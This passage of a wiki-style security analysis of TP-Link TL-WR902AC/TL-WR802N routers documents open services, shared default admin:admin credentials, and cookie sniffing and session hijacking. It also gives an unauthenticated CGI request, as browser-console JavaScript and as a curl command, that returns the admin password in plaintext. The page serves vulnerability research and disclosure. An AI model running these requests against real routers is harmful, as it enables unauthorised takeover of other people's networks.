&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;1900&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp open   upnp    Portable SDK for UPnP devices 1.6.19 (Linux 2.6.36; UPnP 1.0)&lt;br /&gt;
&lt;br /&gt;
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel, cpe:/o:linux:linux_kernel:2.6.36&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Wide Area Network (WAN)&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-size: 11px&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Host is up.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Spoiler&amp;lt;/b&amp;gt;: The username and password are shared between http, ftp, ssh and smb services. It is set via Web interface and stored in the passwd file. The default credentials are &amp;lt;code&amp;gt;admin:admin&amp;lt;/code&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Secure shell (SSH)&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: AC750 Wifi - Travel Router&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;TL-WR802N$ ssh admin@192.168.0.1&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
admin@192.168.0.1&#039;s password: &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;admin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
PTY allocation request failed on channel 0&lt;br /&gt;
shell request failed on channel 0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;TL-WR802N$ scp admin@192.168.0.1:/etc/passwd ./tmp/&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
admin@192.168.0.1&#039;s password: &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;admin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
exec request failed on channel 0&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;PTY allocation request failed&amp;lt;/code&amp;gt; indicated that the login was successful, but the devices provides no interctive shell. This can be seen using the &amp;lt;code&amp;gt;-vvv&amp;lt;/code&amp;gt; debugging mode with &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;To help customers manage and configure the TP-Link device better, some TP-Link apps are published for mobile devices, such as Tether 2.0 app, Deco app, Tapo app, and tpCamera app, etc. The TP-Link app adopts SSH service, so the products that can use the app also support SSH correspondingly. And TCP port 22 as the default port of SSH Service is set to be opened. However, SSH Services on the TP-Link products are only available for TP-Link apps. Other SSH clients cannot access to TP-Link products or adjust their settings with command lines. So please rest assured that the SSH will never cause any safety issues on your device.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.tp-link.com/us/support/faq/2462/ Support]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: While the dropbear package provides SCP functionality, it does not contain anything for SFTP.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;File Transfer Protocol (FTP)&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: AC750 Wifi - Travel Router&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;TL-WR802N$ ftp 192.168.1.1 21&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
Connected to 192.168.1.1.&lt;br /&gt;
220 Welcome to TP-Link FTP server&lt;br /&gt;
Name (192.168.1.1): &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;admin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
331 Please specify the password.&lt;br /&gt;
Password: &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;admin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
230 Login successful.&lt;br /&gt;
Remote system type is UNIX.&lt;br /&gt;
Using binary mode to transfer files.&lt;br /&gt;
&lt;br /&gt;
ftp&amp;gt; pwd&lt;br /&gt;
257 &amp;quot;/&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ftp&amp;gt; dir&lt;br /&gt;
200 PORT command successful. Consider using PASV.&lt;br /&gt;
150 Here comes the directory listing.&lt;br /&gt;
226 Directory send OK.&lt;br /&gt;
&lt;br /&gt;
ftp&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The FTP server maps to USB Volumes which can be configured on the webpage. The default FTP root is therefore empty.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: FTP ends up in an empty root directory using the credentials &amp;lt;code&amp;gt;admin:admin&amp;lt;/code&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Server Message Block (SMB)&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Ongoing Investigation&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;TL-WR802N$ smbclient -L 192.168.1.1 -U admin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
Unable to initialize messaging context&lt;br /&gt;
Enter WORKGROUP\admin&#039;s password:&lt;br /&gt;
Server requested LANMAN password (share-level security) but &#039;client lanman auth = no&#039; or &#039;client ntlmv2 auth = yes&#039;&lt;br /&gt;
tree connect failed: NT_STATUS_ACCESS_DENIED&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;span class=&amp;quot;todo&amp;quot; style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Universal Plug and Play (UPnP)&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Ongoing Investigation&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;* https://coolaj86.com/articles/adventures-in-upnp-on-osx/&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;span class=&amp;quot;todo&amp;quot; style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;TP-Link Device Debug Protocol (TDDP)&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Ongoing Investigation&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The TP-Link Device Debug Protocol (TDDP) is in use across most of the TP-Link product line including routers and access points.&amp;lt;br&amp;gt;&lt;br /&gt;
* https://www.softscheck.com/en/reverse-engineering-tp-link-hs110/&lt;br /&gt;
* https://hackaday.com/2016/12/14/tp-link-debug-protocol-give-up-keys-to-kingdom/&lt;br /&gt;
* https://github.com/P0lako/tl-wa5210gV2_Downgrade&lt;br /&gt;
* https://www.zdnet.com/article/google-dev-discloses-zero-day-flaw-in-tp-link-smart-home-routers/&lt;br /&gt;
Such downgrade would be the only interesting attack in combination with all these vulnerability issues in FWv1&lt;br /&gt;
&amp;lt;span class=&amp;quot;todo&amp;quot; style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Requires in-depth investigation!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Web Interface&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 10px&amp;quot;&amp;gt;The device can be managed through a web interface or via mobile APP. The web interface is accessible over HTTP an requires authorization to access. The device provides an initial setup process, where a user could change credentails and WLAN passwords from its defaults, but doesn&#039;t enforce any changes. TP-Link use a custom http daemon including an CGI interface.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Webpage provides no encrypted connection.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: No responsive design and almost useless on the phone, mobile users &amp;quot;should&amp;quot; use the mobile app.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Authentication Bypass&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: The user name and password can be changed.&amp;lt;br&amp;gt; Both must not exceed 15 characters in length and must not include any spaces. 32 characters on the newer firmware.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Using Cookies&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The login process at the TP-WR902AC with the FW version 170828 is quite primitive. The function &amp;lt;code&amp;gt;PCSubWin()&amp;lt;/code&amp;gt; is called by clicking the login button. This function does not communicate directly with the server, but creates an Authorization Cookie based on the content of the Username and Password field. The cookie is a Basic HTTP authentication, where &amp;lt;code&amp;gt;username:password&amp;lt;/code&amp;gt; Base64 is encoded and stored as a cookie. (Example: &amp;lt;code&amp;gt;Authorization=Basic YWRtaW46YWRtaW4=&amp;lt;/code&amp;gt; Afterwards the page is reloaded. If the authentication is successful, you will be transferred to the user interface. Otherwise the faulty cookie will be removed and the login page will be reloaded.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;var auth;&lt;br /&gt;
var password = &amp;quot;admin&amp;quot;; //$.id(&amp;quot;pcPassword&amp;quot;).value;&lt;br /&gt;
var userName = &amp;quot;admin&amp;quot;; //$.id(&amp;quot;userName&amp;quot;).value;&lt;br /&gt;
&lt;br /&gt;
auth = &amp;quot;Basic &amp;quot;+Base64Encoding(userName+&amp;quot;:&amp;quot;+password);&lt;br /&gt;
document.cookie = &amp;quot;Authorization=&amp;quot; + auth;&lt;br /&gt;
window.location.reload();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Login limited to 10 attempts&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 10px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The router allows only one administrator to login at the same time&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:TL-WR902ACLogin_Wireshark_MitM_Auth_Cookie.png|300px|right|thumb|TL-WR902AC: Wireshark Auth Cookie]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;This Authorization Cookie is transferred on every interaction with the server. Since the website does not offer a secure connection via HTTPS, it is very easy to intercept it by a MitM attack and finally decode Base64. This gives access to FTP, SSH and HTTP services due to the shared login. However, this requires a user who is currently active in the web interface. It should be noted that some web pages like the index page additionally reload the web page content (&amp;lt;code&amp;gt;/main/status.html?_=$TIMESTAMP&amp;lt;/code&amp;gt;) every 20 seconds and thus retransmit the cookie.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;$ echo YWRtaW46YWRtaW4= | base64 --decode&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
admin:admin&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Using Session hijacking&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The TP-WR802N with the new FW version 190428 doesn&#039;t use Authorisation Cookies anymore. It uses &amp;lt;code&amp;gt;JSESSIONID&amp;lt;/code&amp;gt; cookies as well as AES encrypted payload instead. But still supports HTTP only, which makes it still possible to easily hijack the ongoing session, but prevents to leak the credentials. It is very interesting to notice is that the Server send all necessary parameters to generate the AES encryption key in response to an unauthorized CGI call (&amp;lt;code&amp;gt;$.act(ACT_CGI, &amp;quot;/cgi/getParm&amp;quot;); $.exe(null,false,0);&amp;lt;/code&amp;gt;), which can be re-called at any point of time. Note that &amp;lt;code&amp;gt;nn&amp;lt;/code&amp;gt; changes on reboot and &amp;lt;code&amp;gt;seq&amp;lt;/code&amp;gt; on every request.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; margin-top: 20px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The Results of CGI calls are automatically parsed and accessable using JavaScript after executing &amp;lt;code&amp;gt;$.exe()&amp;lt;/code&amp;gt;. Example: &amp;lt;code&amp;gt;$.ret&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR802N&amp;lt;/b&amp;gt;: Login process&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;$.act(ACT_CGI, &amp;quot;/cgi/getParm&amp;quot;);&lt;br /&gt;
$.exe(null,false,0);&lt;br /&gt;
&lt;br /&gt;
	# Request Parameters&lt;br /&gt;
	# [/cgi/getParm#0,0,0,0,0,0#0,0,0,0,0,0]0,0&lt;br /&gt;
&lt;br /&gt;
	# Example Response&lt;br /&gt;
	# lib.js:396 XHR finished loading: POST &amp;quot;http://192.168.1.1/cgi?8&amp;quot;&lt;br /&gt;
	# [cgi]0&lt;br /&gt;
	# var ee=&amp;quot;010001&amp;quot;;&lt;br /&gt;
	# var nn=&amp;quot;BF52337CDDC3F46ADE7663765F170AB464AE93BF981B02B95FCE1E94&amp;quot; +&lt;br /&gt;
	#        &amp;quot;62DD9A03ED3E09CCEFDFD7FACE81EE38136FC081735686FE630BBADB&amp;quot; +&lt;br /&gt;
	#        &amp;quot;DAB24BE0443A2B25&amp;quot;;&lt;br /&gt;
	# var seq=&amp;quot;812508797&amp;quot;;&lt;br /&gt;
	# $.ret=0;&lt;br /&gt;
	# [error]0&lt;br /&gt;
&lt;br /&gt;
$.nn = nn;&lt;br /&gt;
$.ee = ee;&lt;br /&gt;
$.seq = seq;&lt;br /&gt;
&lt;br /&gt;
$.Iencryptor.setSeq($.seq);&lt;br /&gt;
$.Iencryptor.setRSAKey($.nn, $.ee);&lt;br /&gt;
$.Iencryptor.setHash(userName, password);&lt;br /&gt;
$.Iencryptor.genAESKey();&lt;br /&gt;
&lt;br /&gt;
var credentials = {};&lt;br /&gt;
credentials.username = &amp;quot;admin&amp;quot;; //$.id(&amp;quot;pcPassword&amp;quot;).value;&lt;br /&gt;
credentials.password = &amp;quot;admin&amp;quot;; //$.id(&amp;quot;userName&amp;quot;).value; &lt;br /&gt;
&lt;br /&gt;
$.act(ACT_CGI, &amp;quot;/cgi/login&amp;quot;, null, null, credentials);&lt;br /&gt;
&lt;br /&gt;
$.newencryptorManager.recordEncryptor();&lt;br /&gt;
&lt;br /&gt;
if(!$.exe(null, false, 1)) {&lt;br /&gt;
	window.location.reload();&lt;br /&gt;
}	&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Using unauthenticated CGI calls&amp;lt;/h4&amp;gt; &lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;As if that wasn&#039;t enough, it is even possible to retrieve the Admin Credentials in plain text. This is possible without authentication and can be done at any time. All that is needed is a call to the corresponding [[#Common Gateway Interface|Common Gateway Interface]] (CGI) object via JavaScript injection.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Get All User Information&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;$.act(ACT_GET, USER_CFG); $.act(ACT_GET, CURRENT_USER); $.exe();&lt;br /&gt;
&lt;br /&gt;
	[0,0,0,0,0,0]0&lt;br /&gt;
	rootName=&lt;br /&gt;
	rootPwd=&lt;br /&gt;
	adminName=admin&lt;br /&gt;
	adminPwd=admin&lt;br /&gt;
	userName=&lt;br /&gt;
	userPwd=&lt;br /&gt;
&lt;br /&gt;
	[0,0,0,0,0,0]1&lt;br /&gt;
	userName=&lt;br /&gt;
	passwd=&lt;br /&gt;
	httpSession=&lt;br /&gt;
	userSetting=0&lt;br /&gt;
	action=0&lt;br /&gt;
	loginStatus=0&lt;br /&gt;
	userRole=3&lt;br /&gt;
	logInCloud=0&lt;br /&gt;
	needReconn=0&lt;br /&gt;
	[error]0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Get admin username and password&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;&lt;br /&gt;
$.act(ACT_GET, USER_CFG, null, null, [&amp;quot;adminName&amp;quot;, &amp;quot;adminPwd&amp;quot;]); $.exe();&lt;br /&gt;
// Or, by using cURL for once&lt;br /&gt;
// curl -X POST &amp;quot;http://192.168.1.1/cgi?1&amp;quot; -H &amp;quot;Referer: http://192.168.1.1&amp;quot; -d $&#039;[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\nadminName\r\nadminPwd\r\n&#039;&lt;br /&gt;
&lt;br /&gt;
	[0,0,0,0,0,0]0&lt;br /&gt;
	adminName=admin&lt;br /&gt;
	adminPwd=admin&lt;br /&gt;
	[error]0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Common Gateway Interface&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;The devices examined here use a CGI over http on port 80, which are evaluated by the TP-Link https daemon. The mobile app uses SSH over port 22 instead. When working with the CGI it is of great use to use the predefined functions &amp;lt;code&amp;gt;$.act()&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;$.exe()&amp;lt;/code&amp;gt; via the browser console. These functions are part of the &amp;lt;code&amp;gt;lib.js&amp;lt;/code&amp;gt; and then take care of converting the request into a format that is accepted by the server, and subsequently submit the request via AJAX using the &amp;lt;code&amp;gt;$.io()&amp;lt;/code&amp;gt; function. Using these functions is much more convenient, than imitating the format itself. The &amp;lt;code&amp;gt;$.act(type, oid, stack, pStack, attrs)&amp;lt;/code&amp;gt; function has 2 mandatory fields. The &amp;lt;code&amp;gt;type&amp;lt;/code&amp;gt; of the request and an object identifier (&amp;lt;code&amp;gt;oid&amp;lt;/code&amp;gt;). Several requests can be pushed to the stack using &amp;lt;code&amp;gt;$.act()&amp;lt;/code&amp;gt; and then be queried together in one request using &amp;lt;code&amp;gt;$.exe()&amp;lt;/code&amp;gt;. The &amp;lt;code&amp;gt;type&amp;lt;/code&amp;gt; is added to the URL (&amp;lt;code&amp;gt;/cgi?1&amp;amp;2&amp;amp;3&amp;lt;/code&amp;gt;) as a numeric GET parameter. The &amp;lt;code&amp;gt;oid&amp;lt;/code&amp;gt; is added as a string in a parameter, in the form &amp;lt;code&amp;gt;[oid,0,0,0,0]0,0&amp;lt;/code&amp;gt;, to the payload. The remaining fields are not explained in detail. If attributes (&amp;lt;code&amp;gt;attr&amp;lt;/code&amp;gt;) are also sent, they are appended after the parameter of the payload. Several attributes will be transferred according to the number of added &amp;lt;code&amp;gt;type&amp;lt;/code&amp;gt;. A list of available types and OIDs and a shortened form of the &amp;lt;code&amp;gt;lib.js&amp;lt;/code&amp;gt; is listed below in the Client-side CGI Insights tab. When analyzing the website, countless examples of using the mentioned functions can be found. Anyhow, the &amp;lt;code&amp;gt;lib.js&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;oid_str.js&amp;lt;/code&amp;gt; are of great interest.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Example Format&lt;br /&gt;
URL: http://192.168.1.1/cgi?5&amp;amp;1&amp;amp;1&lt;br /&gt;
Payload:&lt;br /&gt;
   [oid,0,0,0,0,0,0]0,0&lt;br /&gt;
   [oid,0,0,0,0,0,0,0]0,count(attr)&lt;br /&gt;
   attr[1]&lt;br /&gt;
   attr[2]&lt;br /&gt;
   attr[3]&lt;br /&gt;
   [USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0,0]0,2&lt;br /&gt;
   adminName&lt;br /&gt;
   adminPwd&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
